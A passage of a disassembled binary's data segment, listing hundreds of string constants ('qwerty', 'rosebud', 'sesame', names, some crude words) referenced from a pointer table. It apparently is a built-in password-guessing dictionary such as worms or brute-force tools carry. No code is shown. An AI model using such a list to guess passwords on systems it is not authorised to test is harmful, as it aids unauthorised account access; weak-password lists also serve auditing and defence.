aSimon		db 'simon',0            ; DATA XREF: seg002:0042D858o
		align 10h
aSimcity	db 'simcity',0          ; DATA XREF: seg002:0042D854o
aSilver		db 'silver',0           ; DATA XREF: seg002:0042D850o
		align 10h
aSignatur	db 'signatur',0         ; DATA XREF: seg002:0042D84Co
		align 4
aSierra		db 'sierra',0           ; DATA XREF: seg002:0042D848o
		align 4
aSick		db 'sick',0             ; DATA XREF: seg002:0042D844o
		align 4
aShuttle	db 'shuttle',0          ; DATA XREF: seg002:0042D840o
aShort		db 'short',0            ; DATA XREF: seg002:0042D83Co
		align 4
aShivers	db 'shivers',0          ; DATA XREF: seg002:0042D838o
aShiva		db 'shiva',0            ; DATA XREF: seg002:0042D834o
		align 4
aShitpot	db 'shitpot',0          ; DATA XREF: seg002:0042D830o
aShit		db 'shit',0             ; DATA XREF: seg002:0042D82Co
		align 4
aShirley	db 'shirley',0          ; DATA XREF: seg002:0042D828o
aShift		db 'shift',0            ; DATA XREF: seg002:0042D824o
		align 4
aSherri		db 'sherri',0           ; DATA XREF: seg002:0042D820o
		align 4
aShell		db 'shell',0            ; DATA XREF: seg002:0042D81Co
		align 4
aSheldon	db 'sheldon',0          ; DATA XREF: seg002:0042D818o
aSheffiel	db 'sheffiel',0         ; DATA XREF: seg002:0042D814o
		align 10h
aSharon		db 'sharon',0           ; DATA XREF: seg002:0042D810o
		align 4
aSharks		db 'sharks',0           ; DATA XREF: seg002:0042D80Co
		align 10h
aShark		db 'shark',0            ; DATA XREF: seg002:0042D808o
		align 4
aSharc		db 'sharc',0            ; DATA XREF: seg002:0042D804o
		align 10h
aShannon	db 'shannon',0          ; DATA XREF: seg002:0042D800o
aSexy		db 'sexy',0             ; DATA XREF: seg002:0042D7FCo
		align 10h
aSesame		db 'sesame',0           ; DATA XREF: seg002:0042D7F8o
		align 4
aService	db 'service',0          ; DATA XREF: seg002:0042D7F4o
					; seg002:0042E3BCo
aSerial_0	db 'serial',0           ; DATA XREF: seg002:0042D7F0o
		align 4
aSerenity	db 'serenity',0         ; DATA XREF: seg002:0042D7ECo
		align 4
aSentry		db 'sentry',0           ; DATA XREF: seg002:0042D7E8o
		align 4
aSentinel	db 'sentinel',0         ; DATA XREF: seg002:0042D7E4o
		align 4
aSensor		db 'sensor',0           ; DATA XREF: seg002:0042D7E0o
		align 10h
aSega		db 'sega',0             ; DATA XREF: seg002:0042D7DCo
		align 4
aSeed		db 'seed',0             ; DATA XREF: seg002:0042D7D8o
		align 10h
aSecurity	db 'security',0         ; DATA XREF: seg002:0042D7D4o
		align 4
aSearch		db 'search',0           ; DATA XREF: seg002:0042D7D0o
		align 4
aScout		db 'scout',0            ; DATA XREF: seg002:0042D7CCo
		align 4
aScotty		db 'scotty',0           ; DATA XREF: seg002:0042D7C8o
		align 4
aScott		db 'scott',0            ; DATA XREF: seg002:0042D7C4o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: seg002:0042D7C0o
		align 4
aScifi		db 'scifi',0            ; DATA XREF: seg002:0042D7BCo
		align 10h
aSchoolsucks	db 'schoolsucks',0      ; DATA XREF: seg002:0042D7B8o
aSchool		db 'school',0           ; DATA XREF: seg002:0042D7B4o
		align 4
aScheme		db 'scheme',0           ; DATA XREF: seg002:0042D7B0o
		align 4
aScamper	db 'scamper',0          ; DATA XREF: seg002:0042D7ACo
aSaxon		db 'saxon',0            ; DATA XREF: seg002:0042D7A8o
		align 4
aSaturn		db 'saturn',0           ; DATA XREF: seg002:0042D7A4o
		align 4
aSaturday	db 'saturday',0         ; DATA XREF: seg002:0042D7A0o
		align 10h
aSarah		db 'sarah',0            ; DATA XREF: seg002:0042D79Co
		align 4
aSara		db 'sara',0             ; DATA XREF: seg002:0042D798o
		align 10h
aSandy		db 'sandy',0            ; DATA XREF: seg002:0042D794o
		align 4
aSandra		db 'sandra',0           ; DATA XREF: seg002:0042D790o
		align 10h
aSample		db 'sample',0           ; DATA XREF: seg002:0042D78Co
		align 4
aSamantha	db 'samantha',0         ; DATA XREF: seg002:0042D788o
		align 4
aSalt		db 'salt',0             ; DATA XREF: seg002:0042D784o
		align 4
aSale		db 'sale',0             ; DATA XREF: seg002:0042D780o
		align 4
aSalami		db 'salami',0           ; DATA XREF: seg002:0042D77Co
		align 4
aSafe		db 'safe',0             ; DATA XREF: seg002:0042D778o
		align 4
aRuth		db 'ruth',0             ; DATA XREF: seg002:0042D774o
		align 4
aRush		db 'rush',0             ; DATA XREF: seg002:0042D770o
		align 4
aRunning	db 'running',0          ; DATA XREF: seg002:0042D76Co
aRules		db 'rules',0            ; DATA XREF: seg002:0042D768o
		align 4
aRude		db 'rude',0             ; DATA XREF: seg002:0042D764o
		align 4
aRuby		db 'ruby',0             ; DATA XREF: seg002:0042D760o
		align 4
aRuben		db 'ruben',0            ; DATA XREF: seg002:0042D75Co
		align 4
aRubber		db 'rubber',0           ; DATA XREF: seg002:0042D758o
		align 4
aRough		db 'rough',0            ; DATA XREF: seg002:0042D754o
		align 4
aRoses		db 'roses',0            ; DATA XREF: seg002:0042D750o
		align 4
aRosemary	db 'rosemary',0         ; DATA XREF: seg002:0042D74Co
		align 10h
aRosebud	db 'rosebud',0          ; DATA XREF: seg002:0042D748o
aRose		db 'rose',0             ; DATA XREF: seg002:0042D744o
		align 10h
aRonald		db 'ronald',0           ; DATA XREF: seg002:0042D740o
		align 4
aRomulan	db 'romulan',0          ; DATA XREF: seg002:0042D73Co
aRomeo		db 'romeo',0            ; DATA XREF: seg002:0042D738o
		align 4
aRomano		db 'romano',0           ; DATA XREF: seg002:0042D734o
		align 10h
aRolex		db 'rolex',0            ; DATA XREF: seg002:0042D730o
		align 4
aRodent		db 'rodent',0           ; DATA XREF: seg002:0042D72Co
		align 10h
aRockyhor	db 'rockyhor',0         ; DATA XREF: seg002:0042D728o
		align 4
aRocky		db 'rocky',0            ; DATA XREF: seg002:0042D724o
		align 4
aRock		db 'rock',0             ; DATA XREF: seg002:0042D720o
		align 4
aRocheste	db 'rocheste',0         ; DATA XREF: seg002:0042D71Co
		align 4
aRochelle	db 'rochelle',0         ; DATA XREF: seg002:0042D718o
		align 4
aRobyn		db 'robyn',0            ; DATA XREF: seg002:0042D714o
		align 4
aRobotics	db 'robotics',0         ; DATA XREF: seg002:0042D710o
		align 4
aRobot		db 'robot',0            ; DATA XREF: seg002:0042D70Co
		align 10h
aRobin		db 'robin',0            ; DATA XREF: seg002:0042D708o
		align 4
aRobert		db 'robert',0           ; DATA XREF: seg002:0042D704o
		align 10h
aRoach		db 'roach',0            ; DATA XREF: seg002:0042D700o
		align 4
aRisc		db 'risc',0             ; DATA XREF: seg002:0042D6FCo
		align 10h
aRipple		db 'ripple',0           ; DATA XREF: seg002:0042D6F8o
		align 4
aRiot		db 'riot',0             ; DATA XREF: seg002:0042D6F4o
		align 10h
aRing		db 'ring',0             ; DATA XREF: seg002:0042D6F0o
		align 4
aRightwin	db 'rightwin',0         ; DATA XREF: seg002:0042D6ECo
		align 4
aRight		db 'right',0            ; DATA XREF: seg002:0042D6E8o
		align 4
aRiffraff	db 'riffraff',0         ; DATA XREF: seg002:0042D6E4o
		align 4
aRick		db 'rick',0             ; DATA XREF: seg002:0042D6E0o
		align 10h
aRich		db 'rich',0             ; DATA XREF: seg002:0042D6DCo
		align 4
aRhino		db 'rhino',0            ; DATA XREF: seg002:0042D6D8o
		align 10h
aReveal		db 'reveal',0           ; DATA XREF: seg002:0042D6D4o
		align 4
aResistan	db 'resistan',0         ; DATA XREF: seg002:0042D6D0o
		align 4
aRepublic	db 'republic',0         ; DATA XREF: seg002:0042D6CCo
		align 10h
aReport		db 'report',0           ; DATA XREF: seg002:0042D6C8o
		align 4
aRent		db 'rent',0             ; DATA XREF: seg002:0042D6C4o
		align 10h
aReno		db 'reno',0             ; DATA XREF: seg002:0042D6C0o
		align 4
aRenee		db 'renee',0            ; DATA XREF: seg002:0042D6BCo
		align 10h
aRemote		db 'remote',0           ; DATA XREF: seg002:0042D6B8o
		align 4
aRelease	db 'release',0          ; DATA XREF: seg002:0042D6B4o
aRegional	db 'regional',0         ; DATA XREF: seg002:0042D6B0o
		align 4
aReferenc	db 'referenc',0         ; DATA XREF: seg002:0042D6ACo
		align 4
aRedhead	db 'redhead',0          ; DATA XREF: seg002:0042D6A8o
aReddawn	db 'reddawn',0          ; DATA XREF: seg002:0042D6A4o
aRecord		db 'record',0           ; DATA XREF: seg002:0042D6A0o
		align 10h
aRebel		db 'rebel',0            ; DATA XREF: seg002:0042D69Co
		align 4
aRebecca	db 'rebecca',0          ; DATA XREF: seg002:0042D698o
aRebal		db 'rebal',0            ; DATA XREF: seg002:0042D694o
		align 4
aReaper		db 'reaper',0           ; DATA XREF: seg002:0042D690o
		align 10h
aReam		db 'ream',0             ; DATA XREF: seg002:0042D68Co
		align 4
aReally		db 'really',0           ; DATA XREF: seg002:0042D688o
		align 10h
aReality	db 'reality',0          ; DATA XREF: seg002:0042D684o
aReagan		db 'reagan',0           ; DATA XREF: seg002:0042D680o
		align 10h
aRazor		db 'razor',0            ; DATA XREF: seg002:0042D67Co
		align 4
aRascal		db 'rascal',0           ; DATA XREF: seg002:0042D678o
		align 10h
aRape		db 'rape',0             ; DATA XREF: seg002:0042D674o
		align 4
aRaleigh	db 'raleigh',0          ; DATA XREF: seg002:0042D66Co
aRaindrop	db 'raindrop',0         ; DATA XREF: seg002:0042D668o
		align 4
aRainbow	db 'rainbow',0          ; DATA XREF: seg002:0042D664o
aRain		db 'rain',0             ; DATA XREF: seg002:0042D660o
		align 4
aRaid		db 'raid',0             ; DATA XREF: seg002:0042D65Co
		align 4
aRachmani	db 'rachmani',0         ; DATA XREF: seg002:0042D658o
		align 10h
aRachelle	db 'rachelle',0         ; DATA XREF: seg002:0042D654o
		align 4
aRachel		db 'rachel',0           ; DATA XREF: seg002:0042D650o
		align 4
aRabbit		db 'rabbit',0           ; DATA XREF: seg002:0042D64Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: seg002:0042D648o
					; seg002:0042E3A0o
		align 4
aQwert		db 'qwert',0            ; DATA XREF: seg002:0042D644o
					; seg002:0042E39Co
		align 4
aQuebec		db 'quebec',0           ; DATA XREF: seg002:0042D640o
		align 4
aPussy		db 'pussy',0            ; DATA XREF: seg002:0042D63Co
		align 4
aPuppet		db 'puppet',0           ; DATA XREF: seg002:0042D638o
		align 4
aPunk		db 'punk',0             ; DATA XREF: seg002:0042D634o
		align 4
aPunisher	db 'punisher',0         ; DATA XREF: seg002:0042D630o
		align 4
aPuneet		db 'puneet',0           ; DATA XREF: seg002:0042D62Co
		align 10h
aPumpkin	db 'pumpkin',0          ; DATA XREF: seg002:0042D628o
aPuke		db 'puke',0             ; DATA XREF: seg002:0042D624o
		align 10h
aPuck		db 'puck',0             ; DATA XREF: seg002:0042D620o
		align 4
aPublic		db 'public',0           ; DATA XREF: seg002:0042D61Co
		align 10h
aPsychopa	db 'psychopa',0         ; DATA XREF: seg002:0042D618o
		align 4
aPsycho		db 'psycho',0           ; DATA XREF: seg002:0042D614o
		align 4
aProtozoa	db 'protozoa',0         ; DATA XREF: seg002:0042D610o
		align 10h
aProtect	db 'protect',0          ; DATA XREF: seg002:0042D60Co
aPrompt		db 'prompt',0           ; DATA XREF: seg002:0042D608o
		align 10h
aProgram	db 'program',0          ; DATA XREF: seg002:0042D604o
aProfile	db 'profile',0          ; DATA XREF: seg002:0042D600o
aProfesso	db 'professo',0         ; DATA XREF: seg002:0042D5FCo
		align 4
aProcesso	db 'processo',0         ; DATA XREF: seg002:0042D5F8o
		align 4
aProceed	db 'proceed',0          ; DATA XREF: seg002:0042D5F4o
aPrivs		db 'privs',0            ; DATA XREF: seg002:0042D5F0o
		align 4
aPrivate	db 'private',0          ; DATA XREF: seg002:0042D5ECo
aPriv		db 'priv',0             ; DATA XREF: seg002:0042D5E8o
		align 4
aPrinter	db 'printer',0          ; DATA XREF: seg002:0042D5E4o
aPrinceto	db 'princeto',0         ; DATA XREF: seg002:0042D5E0o
		align 4
aPrince		db 'prince',0           ; DATA XREF: seg002:0042D5DCo
		align 4
aPresto		db 'presto',0           ; DATA XREF: seg002:0042D5D8o
		align 4
aPrelude	db 'prelude',0          ; DATA XREF: seg002:0042D5D4o
aPrecious	db 'precious',0         ; DATA XREF: seg002:0042D5D0o
		align 10h
aPraise		db 'praise',0           ; DATA XREF: seg002:0042D5CCo
		align 4
aPower		db 'power',0            ; DATA XREF: seg002:0042D5C8o
		align 10h
aPoster		db 'poster',0           ; DATA XREF: seg002:0042D5C4o
		align 4
aPost		db 'post',0             ; DATA XREF: seg002:0042D5C0o
		align 10h
aPorsche	db 'porsche',0          ; DATA XREF: seg002:0042D5BCo
aPorno		db 'porno',0            ; DATA XREF: seg002:0042D5B8o
		align 10h
aPorn		db 'porn',0             ; DATA XREF: seg002:0042D5B4o
		align 4
aPork		db 'pork',0             ; DATA XREF: seg002:0042D5B0o
		align 10h
aPoor		db 'poor',0             ; DATA XREF: seg002:0042D5ACo
		align 4
aPoop		db 'poop',0             ; DATA XREF: seg002:0042D5A8o
		align 10h
aPonderin	db 'ponderin',0         ; DATA XREF: seg002:0042D5A4o
		align 4
aPolynomi	db 'polynomi',0         ; DATA XREF: seg002:0042D5A0o
		align 4
aPolly		db 'polly',0            ; DATA XREF: seg002:0042D59Co
		align 10h
aPolice		db 'police',0           ; DATA XREF: seg002:0042D598o
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: seg002:0042D594o
		align 10h
aPlymouth	db 'plymouth',0         ; DATA XREF: seg002:0042D590o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: seg002:0042D58Co
		align 4
aPlover		db 'plover',0           ; DATA XREF: seg002:0042D588o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: seg002:0042D584o
aPlane		db 'plane',0            ; DATA XREF: seg002:0042D580o
		align 4
aPizza		db 'pizza',0            ; DATA XREF: seg002:0042D57Co
		align 4
aPiss		db 'piss',0             ; DATA XREF: seg002:0042D578o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: seg002:0042D574o
aPimp		db 'pimp',0             ; DATA XREF: seg002:0042D570o
		align 4
aPierre		db 'pierre',0           ; DATA XREF: seg002:0042D56Co
		align 4
aPick		db 'pick',0             ; DATA XREF: seg002:0042D568o
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: seg002:0042D564o
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: seg002:0042D560o
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: seg002:0042D55Co
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: seg002:0042D558o
		align 4
aPhoton		db 'photon',0           ; DATA XREF: seg002:0042D554o
		align 4
aPhone		db 'phone',0            ; DATA XREF: seg002:0042D550o
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: seg002:0042D54Co
aPhilip		db 'philip',0           ; DATA XREF: seg002:0042D548o
		align 4
aPhil		db 'phil',0             ; DATA XREF: seg002:0042D544o
		align 4
aPeter		db 'peter',0            ; DATA XREF: seg002:0042D540o
		align 4
aPete		db 'pete',0             ; DATA XREF: seg002:0042D53Co
		align 4
aPervert	db 'pervert',0          ; DATA XREF: seg002:0042D538o
aPersona	db 'persona',0          ; DATA XREF: seg002:0042D534o
aPersimmo	db 'persimmo',0         ; DATA XREF: seg002:0042D530o
		align 10h
aPermit		db 'permit',0           ; DATA XREF: seg002:0042D52Co
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: seg002:0042D528o
aPercolat	db 'percolat',0         ; DATA XREF: seg002:0042D524o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: seg002:0042D520o
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: seg002:0042D51Co
		align 4
aPentium	db 'pentium',0          ; DATA XREF: seg002:0042D518o
aPenthous	db 'penthous',0         ; DATA XREF: seg002:0042D514o
		align 10h
aPentagra	db 'pentagra',0         ; DATA XREF: seg002:0042D510o
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: seg002:0042D50Co
		align 4
aPenname	db 'penname',0          ; DATA XREF: seg002:0042D508o
aPenis		db 'penis',0            ; DATA XREF: seg002:0042D504o
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: seg002:0042D500o
aPenelope	db 'penelope',0         ; DATA XREF: seg002:0042D4FCo
		align 4
aPencil		db 'pencil',0           ; DATA XREF: seg002:0042D4F8o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: seg002:0042D4F4o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: seg002:0042D4F0o
aPaula		db 'paula',0            ; DATA XREF: seg002:0042D4ECo
		align 4
aPatty		db 'patty',0            ; DATA XREF: seg002:0042D4E8o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: seg002:0042D4E4o
aPatricia	db 'patricia',0         ; DATA XREF: seg002:0042D4E0o
		align 4
aPaste		db 'paste',0            ; DATA XREF: seg002:0042D4DCo
		align 10h
aPassphra	db 'passphra',0         ; DATA XREF: seg002:0042D4D8o
		align 4
aPascal		db 'pascal',0           ; DATA XREF: seg002:0042D4D4o
		align 4
aPapers		db 'papers',0           ; DATA XREF: seg002:0042D4D0o
		align 4
aPaper		db 'paper',0            ; DATA XREF: seg002:0042D4CCo
		align 4
aPapa		db 'papa',0             ; DATA XREF: seg002:0042D4C8o
		align 4
aPamela		db 'pamela',0           ; DATA XREF: seg002:0042D4C4o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: seg002:0042D4C0o
		align 10h
aPaint		db 'paint',0            ; DATA XREF: seg002:0042D4BCo
		align 4
aPainless	db 'painless',0         ; DATA XREF: seg002:0042D4B8o
		align 4
aPacker		db 'packer',0           ; DATA XREF: seg002:0042D4B4o
		align 4
aPackard	db 'packard',0          ; DATA XREF: seg002:0042D4B0o
aPacific	db 'pacific',0          ; DATA XREF: seg002:0042D4ACo
aOxford		db 'oxford',0           ; DATA XREF: seg002:0042D4A8o
		align 4
aOutside	db 'outside',0          ; DATA XREF: seg002:0042D4A4o
aOutput		db 'output',0           ; DATA XREF: seg002:0042D4A0o
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: seg002:0042D49Co
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: seg002:0042D498o
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: seg002:0042D494o
		align 10h
aOscar		db 'oscar',0            ; DATA XREF: seg002:0042D490o
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: seg002:0042D48Co
		align 10h
aOrient		db 'orient',0           ; DATA XREF: seg002:0042D488o
		align 4
aOrca		db 'orca',0             ; DATA XREF: seg002:0042D484o
		align 10h
aOperator	db 'operator',0         ; DATA XREF: seg002:0042D480o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: seg002:0042D47Co
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: seg002:0042D478o
		align 4
aOpening	db 'opening',0          ; DATA XREF: seg002:0042D474o
aOmega		db 'omega',0            ; DATA XREF: seg002:0042D46Co
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: seg002:0042D468o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: seg002:0042D464o
		align 4
aOldage		db 'oldage',0           ; DATA XREF: seg002:0042D460o
		align 10h
aOkay		db 'okay',0             ; DATA XREF: seg002:0042D45Co
		align 4
aOffice		db 'office',0           ; DATA XREF: seg002:0042D458o
		align 10h
aOcelot		db 'ocelot',0           ; DATA XREF: seg002:0042D454o
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: seg002:0042D450o
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: seg002:0042D44Co
		align 10h
aNyquist	db 'nyquist',0          ; DATA XREF: seg002:0042D448o
aNuts		db 'nuts',0             ; DATA XREF: seg002:0042D444o
		align 10h
aNutritio	db 'nutritio',0         ; DATA XREF: seg002:0042D440o
		align 4
aNumber		db 'number',0           ; DATA XREF: seg002:0042D43Co
		align 4
aNull_1		db 'null',0             ; DATA XREF: seg002:0042D438o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: seg002:0042D434o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: seg002:0042D430o
		align 4
aNude		db 'nude',0             ; DATA XREF: seg002:0042D42Co
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: seg002:0042D428o
aNoxious	db 'noxious',0          ; DATA XREF: seg002:0042D424o
aNovember	db 'november',0         ; DATA XREF: seg002:0042D420o
		align 10h
aNovel		db 'novel',0            ; DATA XREF: seg002:0042D41Co
		align 4
aNova		db 'nova',0             ; DATA XREF: seg002:0042D418o
		align 10h
aNoth		db 'noth',0             ; DATA XREF: seg002:0042D414o
		align 4
aNotes		db 'notes',0            ; DATA XREF: seg002:0042D410o
		align 10h
aNoreen		db 'noreen',0           ; DATA XREF: seg002:0042D40Co
		align 4
aNode		db 'node',0             ; DATA XREF: seg002:0042D408o
		align 10h
aNobody		db 'nobody',0           ; DATA XREF: seg002:0042D404o
		align 4
aNoble		db 'noble',0            ; DATA XREF: seg002:0042D400o
		align 10h
aNnaacp		db 'nnaacp',0           ; DATA XREF: seg002:0042D3FCo
		align 4
aNita		db 'nita',0             ; DATA XREF: seg002:0042D3F8o
		align 10h
aNintendo	db 'nintendo',0         ; DATA XREF: seg002:0042D3F4o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: seg002:0042D3F0o
		align 4
aNight		db 'night',0            ; DATA XREF: seg002:0042D3ECo
		align 10h
aNicotine	db 'nicotine',0         ; DATA XREF: seg002:0042D3E8o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: seg002:0042D3E4o
		align 4
aNice		db 'nice',0             ; DATA XREF: seg002:0042D3E0o
		align 4
aNext		db 'next',0             ; DATA XREF: seg002:0042D3DCo
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: seg002:0042D3D8o
aNewton		db 'newton',0           ; DATA XREF: seg002:0042D3D4o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: seg002:0042D3D0o
		align 10h
aNews		db 'news',0             ; DATA XREF: seg002:0042D3CCo
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: seg002:0042D3C8o
aNetwork_0	db 'network',0          ; DATA XREF: seg002:0042D3C4o
aNetscape	db 'netscape',0         ; DATA XREF: seg002:0042D3C0o
		align 4
aNess		db 'ness',0             ; DATA XREF: seg002:0042D3BCo
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: seg002:0042D3B8o
aNepenthe	db 'nepenthe',0         ; DATA XREF: seg002:0042D3B4o
		align 10h
aNavy		db 'navy',0             ; DATA XREF: seg002:0042D3B0o
		align 4
aNasa		db 'nasa',0             ; DATA XREF: seg002:0042D3ACo
		align 10h
aNapoleon	db 'napoleon',0         ; DATA XREF: seg002:0042D3A8o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: seg002:0042D3A4o
		align 4
aName		db 'name',0             ; DATA XREF: seg002:0042D3A0o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: seg002:0042D39Co
		align 4
aMutant		db 'mutant',0           ; DATA XREF: seg002:0042D398o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: seg002:0042D394o
aMsdos		db 'msdos',0            ; DATA XREF: seg002:0042D390o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: seg002:0042D38Co
		align 4
aMozart		db 'mozart',0           ; DATA XREF: seg002:0042D388o
		align 4
aMovies		db 'movies',0           ; DATA XREF: seg002:0042D384o
		align 4
aMovie		db 'movie',0            ; DATA XREF: seg002:0042D380o
		align 4
aMove		db 'move',0             ; DATA XREF: seg002:0042D37Co
		align 4
aMouse		db 'mouse',0            ; DATA XREF: seg002:0042D378o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: seg002:0042D374o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: seg002:0042D370o
		align 10h
aMortgage	db 'mortgage',0         ; DATA XREF: seg002:0042D36Co
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: seg002:0042D368o
		align 4
aMortal		db 'mortal',0           ; DATA XREF: seg002:0042D364o
		align 10h
aMorris		db 'morris',0           ; DATA XREF: seg002:0042D360o
		align 4
aMorley		db 'morley',0           ; DATA XREF: seg002:0042D35Co
		align 10h
aMore		db 'more',0             ; DATA XREF: seg002:0042D358o
		align 4
aMoose		db 'moose',0            ; DATA XREF: seg002:0042D354o
		align 10h
aMoor		db 'moor',0             ; DATA XREF: seg002:0042D350o
		align 4
aMoom		db 'moom',0             ; DATA XREF: seg002:0042D34Co
		align 10h
aMonica		db 'monica',0           ; DATA XREF: seg002:0042D348o
		align 4
aMonday		db 'monday',0           ; DATA XREF: seg002:0042D344o
		align 10h
aMoguls		db 'moguls',0           ; DATA XREF: seg002:0042D340o
		align 4
aMogul		db 'mogul',0            ; DATA XREF: seg002:0042D33Co
		align 10h
aModem		db 'modem',0            ; DATA XREF: seg002:0042D338o
		align 4
aMode		db 'mode',0             ; DATA XREF: seg002:0042D334o
		align 10h
aMkii		db 'mkii',0             ; DATA XREF: seg002:0042D330o
		align 4
aMission	db 'mission',0          ; DATA XREF: seg002:0042D32Co
aMisfit		db 'misfit',0           ; DATA XREF: seg002:0042D328o
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: seg002:0042D324o
		align 10h
aMinimum	db 'minimum',0          ; DATA XREF: seg002:0042D320o
aMine		db 'mine',0             ; DATA XREF: seg002:0042D31Co
		align 10h
aMike		db 'mike',0             ; DATA XREF: seg002:0042D318o
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: seg002:0042D314o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: seg002:0042D310o
		align 10h
aMicropro	db 'micropro',0         ; DATA XREF: seg002:0042D30Co
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: seg002:0042D308o
		align 4
aMicro		db 'micro',0            ; DATA XREF: seg002:0042D304o
		align 10h
aMickey		db 'mickey',0           ; DATA XREF: seg002:0042D300o
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: seg002:0042D2FCo
		align 4
aMichele	db 'michele',0          ; DATA XREF: seg002:0042D2F8o
aMichelan	db 'michelan',0         ; DATA XREF: seg002:0042D2F4o
		align 4
aMichel		db 'michel',0           ; DATA XREF: seg002:0042D2F0o
		align 10h
aMichael	db 'michael',0          ; DATA XREF: seg002:0042D2ECo
aMice		db 'mice',0             ; DATA XREF: seg002:0042D2E8o
		align 10h
aMets		db 'mets',0             ; DATA XREF: seg002:0042D2E4o
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: seg002:0042D2E0o
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: seg002:0042D2DCo
		align 10h
aMetal		db 'metal',0            ; DATA XREF: seg002:0042D2D8o
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: seg002:0042D2D4o
		align 10h
aMercury	db 'mercury',0          ; DATA XREF: seg002:0042D2D0o
aMenu		db 'menu',0             ; DATA XREF: seg002:0042D2CCo
		align 10h
aMenace		db 'menace',0           ; DATA XREF: seg002:0042D2C8o
		align 4
aMemory		db 'memory',0           ; DATA XREF: seg002:0042D2C4o
		align 10h
aMember		db 'member',0           ; DATA XREF: seg002:0042D2C0o
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: seg002:0042D2BCo
aMellon		db 'mellon',0           ; DATA XREF: seg002:0042D2B8o
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: seg002:0042D2B4o
aMegan		db 'megan',0            ; DATA XREF: seg002:0042D2B0o
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: seg002:0042D2ACo
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: seg002:0042D2A8o
		align 10h
aMeagan		db 'meagan',0           ; DATA XREF: seg002:0042D2A4o
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: seg002:0042D2A0o
aMath		db 'math',0             ; DATA XREF: seg002:0042D29Co
		align 4
aMaster		db 'master',0           ; DATA XREF: seg002:0042D298o
		align 10h
aMason		db 'mason',0            ; DATA XREF: seg002:0042D294o
		align 4
aMary		db 'mary',0             ; DATA XREF: seg002:0042D290o
		align 10h
aMarvin		db 'marvin',0           ; DATA XREF: seg002:0042D28Co
		align 4
aMarty		db 'marty',0            ; DATA XREF: seg002:0042D288o
		align 10h
aMars		db 'mars',0             ; DATA XREF: seg002:0042D284o
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: seg002:0042D280o
		align 4
aMarni		db 'marni',0            ; DATA XREF: seg002:0042D27Co
		align 4
aMarkus		db 'markus',0           ; DATA XREF: seg002:0042D278o
		align 4
aMark		db 'mark',0             ; DATA XREF: seg002:0042D274o
		align 4
aMarines	db 'marines',0          ; DATA XREF: seg002:0042D270o
aMarijuan	db 'marijuan',0         ; DATA XREF: seg002:0042D26Co
		align 10h
aMarietta	db 'marietta',0         ; DATA XREF: seg002:0042D268o
		align 4
aMariens	db 'mariens',0          ; DATA XREF: seg002:0042D264o
aMaria		db 'maria',0            ; DATA XREF: seg002:0042D260o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: seg002:0042D25Co
		align 4
aMarci		db 'marci',0            ; DATA XREF: seg002:0042D258o
		align 4
aMara		db 'mara',0             ; DATA XREF: seg002:0042D254o
		align 4
aManager	db 'manager',0          ; DATA XREF: seg002:0042D250o
aMana		db 'mana',0             ; DATA XREF: seg002:0042D24Co
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: seg002:0042D248o
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: seg002:0042D244o
aMaint		db 'maint',0            ; DATA XREF: seg002:0042D240o
		align 4
aMail		db 'mail',0             ; DATA XREF: seg002:0042D23Co
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: seg002:0042D238o
		align 4
